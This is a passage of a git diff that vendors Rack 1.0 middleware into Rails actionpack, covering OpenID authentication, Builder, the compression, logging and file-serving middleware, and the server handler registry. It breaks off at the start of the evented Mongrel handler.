+ attr_reader :realm, :return_to, :session_key, :openid_param, :store,
+ :immediate, :extensions
+
+ # Sets up and uses session data at <tt>:openid</tt> within the session.
+ # Errors in this setup will raise a NoSession exception.
+ #
+ # If the parameter 'openid.mode' is set, which implies a followup from
+ # the openid server, processing is passed to #finish and the result is
+ # returned. However, if there is no appropriate openid information in the
+ # session, a 400 error is returned.
+ #
+ # If the parameter specified by <tt>options[:openid_param]</tt> is
+ # present, processing is passed to #check and the result is returned.
+ #
+ # If neither of these conditions are met, #unauthorized is called.
+
+ def call(env)
+ env['rack.auth.openid'] = self
+ env_session = env[@session_key]
+ unless env_session and env_session.is_a?(Hash)
+ raise NoSession, 'No compatible session'
+ end
+ # let us work in our own namespace...
+ session = (env_session[:openid] ||= {})
+ unless session and session.is_a?(Hash)
+ raise NoSession, 'Incompatible openid session'
+ end
+
+ request = Rack::Request.new(env)
+ consumer = ::OpenID::Consumer.new(session, @store)
+
+ if mode = request.GET['openid.mode']
+ if session.key?(:openid_param)
+ finish(consumer, session, request)
+ else
+ bad_request
+ end
+ elsif request.GET[@openid_param]
+ check(consumer, session, request)
+ else
+ unauthorized
+ end
+ end
+
+ # As the first part of OpenID consumer action, #check retrieves the data
+ # required for completion.
+ #
+ # If all parameters fit within the max length of a URI, a 303 redirect
+ # will be returned. Otherwise #confirm_post_params will be called.
+ #
+ # Any messages from OpenID's request are logged to env['rack.errors']
+ #
+ # <tt>env['rack.auth.openid.request']</tt> is the openid checkid request
+ # instance.
+ #
+ # <tt>session[:openid_param]</tt> is set to the openid identifier
+ # provided by the user.
+ #
+ # <tt>session[:return_to]</tt> is set to the return_to uri given to the
+ # identity provider.
+
+ def check(consumer, session, req)
+ oid = consumer.begin(req.GET[@openid_param], @anonymous)
+ req.env['rack.auth.openid.request'] = oid
+ req.env['rack.errors'].puts(oid.message)
+ p oid if $DEBUG
+
+ ## Extension support
+ extensions.each do |ext,args|
+ oid.add_extension(ext::Request.new(*args))
+ end
+
+ session[:openid_param] = req.GET[openid_param]
+ return_to_uri = return_to ? return_to : req.url
+ session[:return_to] = return_to_uri
+ immediate = session.key?(:setup_needed) ? false : immediate
+
+ if oid.send_redirect?(realm, return_to_uri, immediate)
+ uri = oid.redirect_url(realm, return_to_uri, immediate)
+ redirect(uri)
+ else
+ confirm_post_params(oid, realm, return_to_uri, immediate)
+ end
+ rescue ::OpenID::DiscoveryFailure => e
+ # thrown from inside OpenID::Consumer#begin by yadis stuff
+ req.env['rack.errors'].puts([e.message, *e.backtrace]*"\n")
+ return foreign_server_failure
+ end
+
+ # This is the final portion of authentication.
+ # If successful, a redirect to the realm is be returned.
+ # Data gathered from extensions are stored in session[:openid] with the
+ # extension's namespace uri as the key.
+ #
+ # Any messages from OpenID's response are logged to env['rack.errors']
+ #
+ # <tt>env['rack.auth.openid.response']</tt> will contain the openid
+ # response.
+
+ def finish(consumer, session, req)
+ oid = consumer.complete(req.GET, req.url)
+ req.env['rack.auth.openid.response'] = oid
+ req.env['rack.errors'].puts(oid.message)
+ p oid if $DEBUG
+
+ raise unless ValidStatus.include?(oid.status)
+ __send__(oid.status, oid, req, session)
+ end
+
+ # The first argument should be the main extension module.
+ # The extension module should contain the constants:
+ # * class Request, should have OpenID::Extension as an ancestor
+ # * class Response, should have OpenID::Extension as an ancestor
+ # * string NS_URI, which defining the namespace of the extension
+ #
+ # All trailing arguments will be passed to extension::Request.new in
+ # #check.
+ # The openid response will be passed to
+ # extension::Response#from_success_response, #get_extension_args will be
+ # called on the result to attain the gathered data.
+ #
+ # This method returns the key at which the response data will be found in
+ # the session, which is the namespace uri by default.
+
+ def add_extension(ext, *args)
+ raise BadExtension unless valid_extension?(ext)
+ extensions[ext] = args
+ return ext::NS_URI
+ end
+
+ # Checks the validitity, in the context of usage, of a submitted
+ # extension.
+
+ def valid_extension?(ext)
+ if not %w[NS_URI Request Response].all?{|c| ext.const_defined?(c) }
+ raise ArgumentError, 'Extension is missing constants.'
+ elsif not ext::Response.respond_to?(:from_success_response)
+ raise ArgumentError, 'Response is missing required method.'
+ end
+ return true
+ rescue
+ return false
+ end
+
+ # Checks the provided uri to ensure it'd be considered within the realm.
+ # is currently not compatible with wildcard realms.
+
+ def within_realm? uri
+ uri = URI.parse(uri.to_s)
+ realm = URI.parse(self.realm)
+ return false unless uri.absolute?
+ return false unless uri.path[0, realm.path.size] == realm.path
+ return false unless uri.host == realm.host or realm.host[/^\*\./]
+ # for wildcard support, is awkward with URI limitations
+ realm_match = Regexp.escape(realm.host).
+ sub(/^\*\./,"^#{URI::REGEXP::PATTERN::URIC_NO_SLASH}+.")+'$'
+ return false unless uri.host.match(realm_match)
+ return true
+ end
+ alias_method :include?, :within_realm?
+
+ protected
+
+ ### These methods define some of the boilerplate responses.
+
+ # Returns an html form page for posting to an Identity Provider if the
+ # GET request would exceed the upper URI length limit.
+
+ def confirm_post_params(oid, realm, return_to, immediate)
+ Rack::Response.new.finish do |r|
+ r.write '<html><head><title>Confirm...</title></head><body>'
+ r.write oid.form_markup(realm, return_to, immediate)
+ r.write '</body></html>'
+ end
+ end
+
+ # Returns a 303 redirect with the destination of that provided by the
+ # argument.
+
+ def redirect(uri)
+ [ 303, {'Content-Length'=>'0', 'Content-Type'=>'text/plain',
+ 'Location' => uri},
+ [] ]
+ end
+
+ # Returns an empty 400 response.
+
+ def bad_request
+ [ 400, {'Content-Type'=>'text/plain', 'Content-Length'=>'0'},
+ [''] ]
+ end
+
+ # Returns a basic unauthorized 401 response.
+
+ def unauthorized
+ [ 401, {'Content-Type' => 'text/plain', 'Content-Length' => '13'},
+ ['Unauthorized.'] ]
+ end
+
+ # Returns a basic access denied 403 response.
+
+ def access_denied
+ [ 403, {'Content-Type' => 'text/plain', 'Content-Length' => '14'},
+ ['Access denied.'] ]
+ end
+
+ # Returns a 503 response to be used if communication with the remote
+ # OpenID server fails.
+
+ def foreign_server_failure
+ [ 503, {'Content-Type'=>'text/plain', 'Content-Length' => '23'},
+ ['Foreign server failure.'] ]
+ end
+
+ private
+
+ ### These methods are called after a transaction is completed, depending
+ # on its outcome. These should all return a rack compatible response.
+ # You'd want to override these to provide additional functionality.
+
+ # Called to complete processing on a successful transaction.
+ # Within the openid session, :openid_identity and :openid_identifier are
+ # set to the user friendly and the standard representation of the
+ # validated identity. All other data in the openid session is cleared.
+
+ def success(oid, request, session)
+ session.clear
+ session[:openid_identity] = oid.display_identifier
+ session[:openid_identifier] = oid.identity_url
+ extensions.keys.each do |ext|
+ label = ext.name[/[^:]+$/].downcase
+ response = ext::Response.from_success_response(oid)
+ session[label] = response.data
+ end
+ redirect(realm)
+ end
+
+ # Called if the Identity Provider indicates further setup by the user is
+ # required.
+ # The identifier is retrived from the openid session at :openid_param.
+ # And :setup_needed is set to true to prevent looping.
+
+ def setup_needed(oid, request, session)
+ identifier = session[:openid_param]
+ session[:setup_needed] = true
+ redirect req.script_name + '?' + openid_param + '=' + identifier
+ end
+
+ # Called if the user indicates they wish to cancel identification.
+ # Data within openid session is cleared.
+
+ def cancel(oid, request, session)
+ session.clear
+ access_denied
+ end
+
+ # Called if the Identity Provider indicates the user is unable to confirm
+ # their identity. Data within the openid session is left alone, in case
+ # of swarm auth attacks.
+
+ def failure(oid, request, session)
+ unauthorized
+ end
+ end
+
+ # A class developed out of the request to use OpenID as an authentication
+ # middleware. The request will be sent to the OpenID instance unless the
+ # block evaluates to true. For example in rackup, you can use it as such:
+ #
+ # use Rack::Session::Pool
+ # use Rack::Auth::OpenIDAuth, realm, openid_options do |env|
+ # env['rack.session'][:authkey] == a_string
+ # end
+ # run RackApp
+ #
+ # Or simply:
+ #
+ # app = Rack::Auth::OpenIDAuth.new app, realm, openid_options, &auth
+
+ class OpenIDAuth < Rack::Auth::AbstractHandler
+ attr_reader :oid
+ def initialize(app, realm, options={}, &auth)
+ @oid = OpenID.new(realm, options)
+ super(app, &auth)
+ end
+
+ def call(env)
+ to = auth.call(env) ? @app : @oid
+ to.call env
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/builder.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/builder.rb
new file mode 100644
index 0000000000..295235e56a
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/builder.rb
@@ -0,0 +1,63 @@
+module Rack
+ # Rack::Builder implements a small DSL to iteratively construct Rack
+ # applications.
+ #
+ # Example:
+ #
+ # app = Rack::Builder.new {
+ # use Rack::CommonLogger
+ # use Rack::ShowExceptions
+ # map "/lobster" do
+ # use Rack::Lint
+ # run Rack::Lobster.new
+ # end
+ # }
+ #
+ # Or
+ #
+ # app = Rack::Builder.app do
+ # use Rack::CommonLogger
+ # lambda { |env| [200, {'Content-Type' => 'text/plain'}, 'OK'] }
+ # end
+ #
+ # +use+ adds a middleware to the stack, +run+ dispatches to an application.
+ # You can use +map+ to construct a Rack::URLMap in a convenient way.
+
+ class Builder
+ def initialize(&block)
+ @ins = []
+ instance_eval(&block) if block_given?
+ end
+
+ def self.app(&block)
+ self.new(&block).to_app
+ end
+
+ def use(middleware, *args, &block)
+ @ins << lambda { |app| middleware.new(app, *args, &block) }
+ end
+
+ def run(app)
+ @ins << app #lambda { |nothing| app }
+ end
+
+ def map(path, &block)
+ if @ins.last.kind_of? Hash
+ @ins.last[path] = self.class.new(&block).to_app
+ else
+ @ins << {}
+ map(path, &block)
+ end
+ end
+
+ def to_app
+ @ins[-1] = Rack::URLMap.new(@ins.last) if Hash === @ins.last
+ inner_app = @ins.last
+ @ins[0...-1].reverse.inject(inner_app) { |a, e| e.call(a) }
+ end
+
+ def call(env)
+ to_app.call(env)
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/cascade.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/cascade.rb
new file mode 100644
index 0000000000..a038aa1105
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/cascade.rb
@@ -0,0 +1,36 @@
+module Rack
+ # Rack::Cascade tries an request on several apps, and returns the
+ # first response that is not 404 (or in a list of configurable
+ # status codes).
+
+ class Cascade
+ attr_reader :apps
+
+ def initialize(apps, catch=404)
+ @apps = apps
+ @catch = [*catch]
+ end
+
+ def call(env)
+ status = headers = body = nil
+ raise ArgumentError, "empty cascade" if @apps.empty?
+ @apps.each { |app|
+ begin
+ status, headers, body = app.call(env)
+ break unless @catch.include?(status.to_i)
+ end
+ }
+ [status, headers, body]
+ end
+
+ def add app
+ @apps << app
+ end
+
+ def include? app
+ @apps.include? app
+ end
+
+ alias_method :<<, :add
+ end
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/chunked.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/chunked.rb
new file mode 100644
index 0000000000..280d89dd65
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/chunked.rb
@@ -0,0 +1,49 @@
+require 'rack/utils'
+
+module Rack
+
+ # Middleware that applies chunked transfer encoding to response bodies
+ # when the response does not include a Content-Length header.
+ class Chunked
+ include Rack::Utils
+
+ def initialize(app)
+ @app = app
+ end
+
+ def call(env)
+ status, headers, body = @app.call(env)
+ headers = HeaderHash.new(headers)
+
+ if env['HTTP_VERSION'] == 'HTTP/1.0' ||
+ STATUS_WITH_NO_ENTITY_BODY.include?(status) ||
+ headers['Content-Length'] ||
+ headers['Transfer-Encoding']
+ [status, headers.to_hash, body]
+ else
+ dup.chunk(status, headers, body)
+ end
+ end
+
+ def chunk(status, headers, body)
+ @body = body
+ headers.delete('Content-Length')
+ headers['Transfer-Encoding'] = 'chunked'
+ [status, headers.to_hash, self]
+ end
+
+ def each
+ term = "\r\n"
+ @body.each do |chunk|
+ size = bytesize(chunk)
+ next if size == 0
+ yield [size.to_s(16), term, chunk, term].join
+ end
+ yield ["0", term, "", term].join
+ end
+
+ def close
+ @body.close if @body.respond_to?(:close)
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/commonlogger.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/commonlogger.rb
new file mode 100644
index 0000000000..5e68ac626d
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/commonlogger.rb
@@ -0,0 +1,61 @@
+module Rack
+ # Rack::CommonLogger forwards every request to an +app+ given, and
+ # logs a line in the Apache common log format to the +logger+, or
+ # rack.errors by default.
+
+ class CommonLogger
+ def initialize(app, logger=nil)
+ @app = app
+ @logger = logger
+ end
+
+ def call(env)
+ dup._call(env)
+ end
+
+ def _call(env)
+ @env = env
+ @logger ||= self
+ @time = Time.now
+ @status, @header, @body = @app.call(env)
+ [@status, @header, self]
+ end
+
+ def close
+ @body.close if @body.respond_to? :close
+ end
+
+ # By default, log to rack.errors.
+ def <<(str)
+ @env["rack.errors"].write(str)
+ @env["rack.errors"].flush
+ end
+
+ def each
+ length = 0
+ @body.each { |part|
+ length += part.size
+ yield part
+ }
+
+ @now = Time.now
+
+ # Common Log Format: http://httpd.apache.org/docs/1.3/logs.html#common
+ # lilith.local - - [07/Aug/2006 23:58:02] "GET / HTTP/1.1" 500 -
+ # %{%s - %s [%s] "%s %s%s %s" %d %s\n} %
+ @logger << %{%s - %s [%s] "%s %s%s %s" %d %s %0.4f\n} %
+ [
+ @env['HTTP_X_FORWARDED_FOR'] || @env["REMOTE_ADDR"] || "-",
+ @env["REMOTE_USER"] || "-",
+ @now.strftime("%d/%b/%Y %H:%M:%S"),
+ @env["REQUEST_METHOD"],
+ @env["PATH_INFO"],
+ @env["QUERY_STRING"].empty? ? "" : "?"+@env["QUERY_STRING"],
+ @env["HTTP_VERSION"],
+ @status.to_s[0..3],
+ (length.zero? ? "-" : length.to_s),
+ @now - @time
+ ]
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/conditionalget.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/conditionalget.rb
new file mode 100644
index 0000000000..7bec824181
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/conditionalget.rb
@@ -0,0 +1,45 @@
+require 'rack/utils'
+
+module Rack
+
+ # Middleware that enables conditional GET using If-None-Match and
+ # If-Modified-Since. The application should set either or both of the
+ # Last-Modified or Etag response headers according to RFC 2616. When
+ # either of the conditions is met, the response body is set to be zero
+ # length and the response status is set to 304 Not Modified.
+ #
+ # Applications that defer response body generation until the body's each
+ # message is received will avoid response body generation completely when
+ # a conditional GET matches.
+ #
+ # Adapted from Michael Klishin's Merb implementation:
+ # http://github.com/wycats/merb-core/tree/master/lib/merb-core/rack/middleware/conditional_get.rb
+ class ConditionalGet
+ def initialize(app)
+ @app = app
+ end
+
+ def call(env)
+ return @app.call(env) unless %w[GET HEAD].include?(env['REQUEST_METHOD'])
+
+ status, headers, body = @app.call(env)
+ headers = Utils::HeaderHash.new(headers)
+ if etag_matches?(env, headers) || modified_since?(env, headers)
+ status = 304
+ body = []
+ end
+ [status, headers, body]
+ end
+
+ private
+ def etag_matches?(env, headers)
+ etag = headers['Etag'] and etag == env['HTTP_IF_NONE_MATCH']
+ end
+
+ def modified_since?(env, headers)
+ last_modified = headers['Last-Modified'] and
+ last_modified == env['HTTP_IF_MODIFIED_SINCE']
+ end
+ end
+
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/content_length.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/content_length.rb
new file mode 100644
index 0000000000..1e56d43853
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/content_length.rb
@@ -0,0 +1,29 @@
+require 'rack/utils'
+
+module Rack
+ # Sets the Content-Length header on responses with fixed-length bodies.
+ class ContentLength
+ include Rack::Utils
+
+ def initialize(app)
+ @app = app
+ end
+
+ def call(env)
+ status, headers, body = @app.call(env)
+ headers = HeaderHash.new(headers)
+
+ if !STATUS_WITH_NO_ENTITY_BODY.include?(status) &&
+ !headers['Content-Length'] &&
+ !headers['Transfer-Encoding'] &&
+ (body.respond_to?(:to_ary) || body.respond_to?(:to_str))
+
+ body = [body] if body.respond_to?(:to_str) # rack 0.4 compat
+ length = body.to_ary.inject(0) { |len, part| len + bytesize(part) }
+ headers['Content-Length'] = length.to_s
+ end
+
+ [status, headers, body]
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/content_type.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/content_type.rb
new file mode 100644
index 0000000000..0c1e1ca3e1
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/content_type.rb
@@ -0,0 +1,23 @@
+require 'rack/utils'
+
+module Rack
+
+ # Sets the Content-Type header on responses which don't have one.
+ #
+ # Builder Usage:
+ # use Rack::ContentType, "text/plain"
+ #
+ # When no content type argument is provided, "text/html" is assumed.
+ class ContentType
+ def initialize(app, content_type = "text/html")
+ @app, @content_type = app, content_type
+ end
+
+ def call(env)
+ status, headers, body = @app.call(env)
+ headers = Utils::HeaderHash.new(headers)
+ headers['Content-Type'] ||= @content_type
+ [status, headers.to_hash, body]
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/deflater.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/deflater.rb
new file mode 100644
index 0000000000..a42b7477ae
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/deflater.rb
@@ -0,0 +1,85 @@
+require "zlib"
+require "stringio"
+require "time" # for Time.httpdate
+require 'rack/utils'
+
+module Rack
+ class Deflater
+ def initialize(app)
+ @app = app
+ end
+
+ def call(env)
+ status, headers, body = @app.call(env)
+ headers = Utils::HeaderHash.new(headers)
+
+ # Skip compressing empty entity body responses and responses with
+ # no-transform set.
+ if Utils::STATUS_WITH_NO_ENTITY_BODY.include?(status) ||
+ headers['Cache-Control'].to_s =~ /\bno-transform\b/
+ return [status, headers, body]
+ end
+
+ request = Request.new(env)
+
+ encoding = Utils.select_best_encoding(%w(gzip deflate identity),
+ request.accept_encoding)
+
+ # Set the Vary HTTP header.
+ vary = headers["Vary"].to_s.split(",").map { |v| v.strip }
+ unless vary.include?("*") || vary.include?("Accept-Encoding")
+ headers["Vary"] = vary.push("Accept-Encoding").join(",")
+ end
+
+ case encoding
+ when "gzip"
+ mtime = headers.key?("Last-Modified") ?
+ Time.httpdate(headers["Last-Modified"]) : Time.now
+ body = self.class.gzip(body, mtime)
+ size = Rack::Utils.bytesize(body)
+ headers = headers.merge("Content-Encoding" => "gzip", "Content-Length" => size.to_s)
+ [status, headers, [body]]
+ when "deflate"
+ body = self.class.deflate(body)
+ size = Rack::Utils.bytesize(body)
+ headers = headers.merge("Content-Encoding" => "deflate", "Content-Length" => size.to_s)
+ [status, headers, [body]]
+ when "identity"
+ [status, headers, body]
+ when nil
+ message = "An acceptable encoding for the requested resource #{request.fullpath} could not be found."
+ [406, {"Content-Type" => "text/plain", "Content-Length" => message.length.to_s}, [message]]
+ end
+ end
+
+ def self.gzip(body, mtime)
+ io = StringIO.new
+ gzip = Zlib::GzipWriter.new(io)
+ gzip.mtime = mtime
+
+ # TODO: Add streaming
+ body.each { |part| gzip << part }
+
+ gzip.close
+ return io.string
+ end
+
+ DEFLATE_ARGS = [
+ Zlib::DEFAULT_COMPRESSION,
+ # drop the zlib header which causes both Safari and IE to choke
+ -Zlib::MAX_WBITS,
+ Zlib::DEF_MEM_LEVEL,
+ Zlib::DEFAULT_STRATEGY
+ ]
+
+ # Loosely based on Mongrel's Deflate handler
+ def self.deflate(body)
+ deflater = Zlib::Deflate.new(*DEFLATE_ARGS)
+
+ # TODO: Add streaming
+ body.each { |part| deflater << part }
+
+ return deflater.finish
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/directory.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/directory.rb
new file mode 100644
index 0000000000..acdd3029d3
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/directory.rb
@@ -0,0 +1,153 @@
+require 'time'
+require 'rack/utils'
+require 'rack/mime'
+
+module Rack
+ # Rack::Directory serves entries below the +root+ given, according to the
+ # path info of the Rack request. If a directory is found, the file's contents
+ # will be presented in an html based index. If a file is found, the env will
+ # be passed to the specified +app+.
+ #
+ # If +app+ is not specified, a Rack::File of the same +root+ will be used.
+
+ class Directory
+ DIR_FILE = "<tr><td class='name'><a href='%s'>%s</a></td><td class='size'>%s</td><td class='type'>%s</td><td class='mtime'>%s</td></tr>"
+ DIR_PAGE = <<-PAGE
+<html><head>
+ <title>%s</title>
+ <meta http-equiv="content-type" content="text/html; charset=utf-8" />
+ <style type='text/css'>
+table { width:100%%; }
+.name { text-align:left; }
+.size, .mtime { text-align:right; }
+.type { width:11em; }
+.mtime { width:15em; }
+ </style>
+</head><body>
+<h1>%s</h1>
+<hr />
+<table>
+ <tr>
+ <th class='name'>Name</th>
+ <th class='size'>Size</th>
+ <th class='type'>Type</th>
+ <th class='mtime'>Last Modified</th>
+ </tr>
+%s
+</table>
+<hr />
+</body></html>
+ PAGE
+
+ attr_reader :files
+ attr_accessor :root, :path
+
+ def initialize(root, app=nil)
+ @root = F.expand_path(root)
+ @app = app || Rack::File.new(@root)
+ end
+
+ def call(env)
+ dup._call(env)
+ end
+
+ F = ::File
+
+ def _call(env)
+ @env = env
+ @script_name = env['SCRIPT_NAME']
+ @path_info = Utils.unescape(env['PATH_INFO'])
+
+ if forbidden = check_forbidden
+ forbidden
+ else
+ @path = F.join(@root, @path_info)
+ list_path
+ end
+ end
+
+ def check_forbidden
+ return unless @path_info.include? ".."
+
+ body = "Forbidden\n"
+ size = Rack::Utils.bytesize(body)
+ return [403, {"Content-Type" => "text/plain","Content-Length" => size.to_s}, [body]]
+ end
+
+ def list_directory
+ @files = [['../','Parent Directory','','','']]
+ glob = F.join(@path, '*')
+
+ Dir[glob].sort.each do |node|
+ stat = stat(node)
+ next unless stat
+ basename = F.basename(node)
+ ext = F.extname(node)
+
+ url = F.join(@script_name, @path_info, basename)
+ size = stat.size
+ type = stat.directory? ? 'directory' : Mime.mime_type(ext)
+ size = stat.directory? ? '-' : filesize_format(size)
+ mtime = stat.mtime.httpdate
+ url << '/' if stat.directory?
+ basename << '/' if stat.directory?
+
+ @files << [ url, basename, size, type, mtime ]
+ end
+
+ return [ 200, {'Content-Type'=>'text/html; charset=utf-8'}, self ]
+ end
+
+ def stat(node, max = 10)
+ F.stat(node)
+ rescue Errno::ENOENT, Errno::ELOOP
+ return nil
+ end
+
+ # TODO: add correct response if not readable, not sure if 404 is the best
+ # option
+ def list_path
+ @stat = F.stat(@path)
+
+ if @stat.readable?
+ return @app.call(@env) if @stat.file?
+ return list_directory if @stat.directory?
+ else
+ raise Errno::ENOENT, 'No such file or directory'
+ end
+
+ rescue Errno::ENOENT, Errno::ELOOP
+ return entity_not_found
+ end
+
+ def entity_not_found
+ body = "Entity not found: #{@path_info}\n"
+ size = Rack::Utils.bytesize(body)
+ return [404, {"Content-Type" => "text/plain", "Content-Length" => size.to_s}, [body]]
+ end
+
+ def each
+ show_path = @path.sub(/^#{@root}/,'')
+ files = @files.map{|f| DIR_FILE % f }*"\n"
+ page = DIR_PAGE % [ show_path, show_path , files ]
+ page.each_line{|l| yield l }
+ end
+
+ # Stolen from Ramaze
+
+ FILESIZE_FORMAT = [
+ ['%.1fT', 1 << 40],
+ ['%.1fG', 1 << 30],
+ ['%.1fM', 1 << 20],
+ ['%.1fK', 1 << 10],
+ ]
+
+ def filesize_format(int)
+ FILESIZE_FORMAT.each do |format, size|
+ return format % (int.to_f / size) if int >= size
+ end
+
+ int.to_s + 'B'
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/file.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/file.rb
new file mode 100644
index 0000000000..fe62bd6b86
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/file.rb
@@ -0,0 +1,88 @@
+require 'time'
+require 'rack/utils'
+require 'rack/mime'
+
+module Rack
+ # Rack::File serves files below the +root+ given, according to the
+ # path info of the Rack request.
+ #
+ # Handlers can detect if bodies are a Rack::File, and use mechanisms
+ # like sendfile on the +path+.
+
+ class File
+ attr_accessor :root
+ attr_accessor :path
+
+ alias :to_path :path
+
+ def initialize(root)
+ @root = root
+ end
+
+ def call(env)
+ dup._call(env)
+ end
+
+ F = ::File
+
+ def _call(env)
+ @path_info = Utils.unescape(env["PATH_INFO"])
+ return forbidden if @path_info.include? ".."
+
+ @path = F.join(@root, @path_info)
+
+ begin
+ if F.file?(@path) && F.readable?(@path)
+ serving
+ else
+ raise Errno::EPERM
+ end
+ rescue SystemCallError
+ not_found
+ end
+ end
+
+ def forbidden
+ body = "Forbidden\n"
+ [403, {"Content-Type" => "text/plain",
+ "Content-Length" => body.size.to_s},
+ [body]]
+ end
+
+ # NOTE:
+ # We check via File::size? whether this file provides size info
+ # via stat (e.g. /proc files often don't), otherwise we have to
+ # figure it out by reading the whole file into memory. And while
+ # we're at it we also use this as body then.
+
+ def serving
+ if size = F.size?(@path)
+ body = self
+ else
+ body = [F.read(@path)]
+ size = Utils.bytesize(body.first)
+ end
+
+ [200, {
+ "Last-Modified" => F.mtime(@path).httpdate,
+ "Content-Type" => Mime.mime_type(F.extname(@path), 'text/plain'),
+ "Content-Length" => size.to_s
+ }, body]
+ end
+
+ def not_found
+ body = "File not found: #{@path_info}\n"
+ [404, {"Content-Type" => "text/plain",
+ "Content-Length" => body.size.to_s},
+ [body]]
+ end
+
+ def each
+ F.open(@path, "rb") { |file|
+ while part = file.read(8192)
+ yield part
+ end
+ }
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler.rb
new file mode 100644
index 0000000000..1018af64c7
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler.rb
@@ -0,0 +1,48 @@
+module Rack
+ # *Handlers* connect web servers with Rack.
+ #
+ # Rack includes Handlers for Mongrel, WEBrick, FastCGI, CGI, SCGI
+ # and LiteSpeed.
+ #
+ # Handlers usually are activated by calling <tt>MyHandler.run(myapp)</tt>.
+ # A second optional hash can be passed to include server-specific
+ # configuration.
+ module Handler
+ def self.get(server)
+ return unless server
+
+ if klass = @handlers[server]
+ obj = Object
+ klass.split("::").each { |x| obj = obj.const_get(x) }
+ obj
+ else
+ Rack::Handler.const_get(server.capitalize)
+ end
+ end
+
+ def self.register(server, klass)
+ @handlers ||= {}
+ @handlers[server] = klass
+ end
+
+ autoload :CGI, "rack/handler/cgi"
+ autoload :FastCGI, "rack/handler/fastcgi"
+ autoload :Mongrel, "rack/handler/mongrel"
+ autoload :EventedMongrel, "rack/handler/evented_mongrel"
+ autoload :SwiftipliedMongrel, "rack/handler/swiftiplied_mongrel"
+ autoload :WEBrick, "rack/handler/webrick"
+ autoload :LSWS, "rack/handler/lsws"
+ autoload :SCGI, "rack/handler/scgi"
+ autoload :Thin, "rack/handler/thin"
+
+ register 'cgi', 'Rack::Handler::CGI'
+ register 'fastcgi', 'Rack::Handler::FastCGI'
+ register 'mongrel', 'Rack::Handler::Mongrel'
+ register 'emongrel', 'Rack::Handler::EventedMongrel'
+ register 'smongrel', 'Rack::Handler::SwiftipliedMongrel'
+ register 'webrick', 'Rack::Handler::WEBrick'
+ register 'lsws', 'Rack::Handler::LSWS'
+ register 'scgi', 'Rack::Handler::SCGI'
+ register 'thin', 'Rack::Handler::Thin'
+ end
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/cgi.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/cgi.rb
new file mode 100644
index 0000000000..e38156c7f0
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/cgi.rb
@@ -0,0 +1,61 @@
+require 'rack/content_length'
+
+module Rack
+ module Handler
+ class CGI
+ def self.run(app, options=nil)
+ serve app
+ end
+
+ def self.serve(app)
+ app = ContentLength.new(app)
+
+ env = ENV.to_hash
+ env.delete "HTTP_CONTENT_LENGTH"
+
+ env["SCRIPT_NAME"] = "" if env["SCRIPT_NAME"] == "/"
+
+ env.update({"rack.version" => [0,1],
+ "rack.input" => $stdin,
+ "rack.errors" => $stderr,
+
+ "rack.multithread" => false,
+ "rack.multiprocess" => true,
+ "rack.run_once" => true,
+
+ "rack.url_scheme" => ["yes", "on", "1"].include?(ENV["HTTPS"]) ? "https" : "http"
+ })
+
+ env["QUERY_STRING"] ||= ""
+ env["HTTP_VERSION"] ||= env["SERVER_PROTOCOL"]
+ env["REQUEST_PATH"] ||= "/"
+
+ status, headers, body = app.call(env)
+ begin
+ send_headers status, headers
+ send_body body
+ ensure
+ body.close if body.respond_to? :close
+ end
+ end
+
+ def self.send_headers(status, headers)
+ STDOUT.print "Status: #{status}\r\n"
+ headers.each { |k, vs|
+ vs.split("\n").each { |v|
+ STDOUT.print "#{k}: #{v}\r\n"
+ }
+ }
+ STDOUT.print "\r\n"
+ STDOUT.flush
+ end
+
+ def self.send_body(body)
+ body.each { |part|
+ STDOUT.print part
+ STDOUT.flush
+ }
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/evented_mongrel.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/evented_mongrel.rb
new file mode 100644
index 0000000000..0f5cbf7293
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/evented_mongrel.rb
@@ -0,0 +1,8 @@
+require 'swiftcore/evented_mongrel'
+
+module Rack
+ module Handler
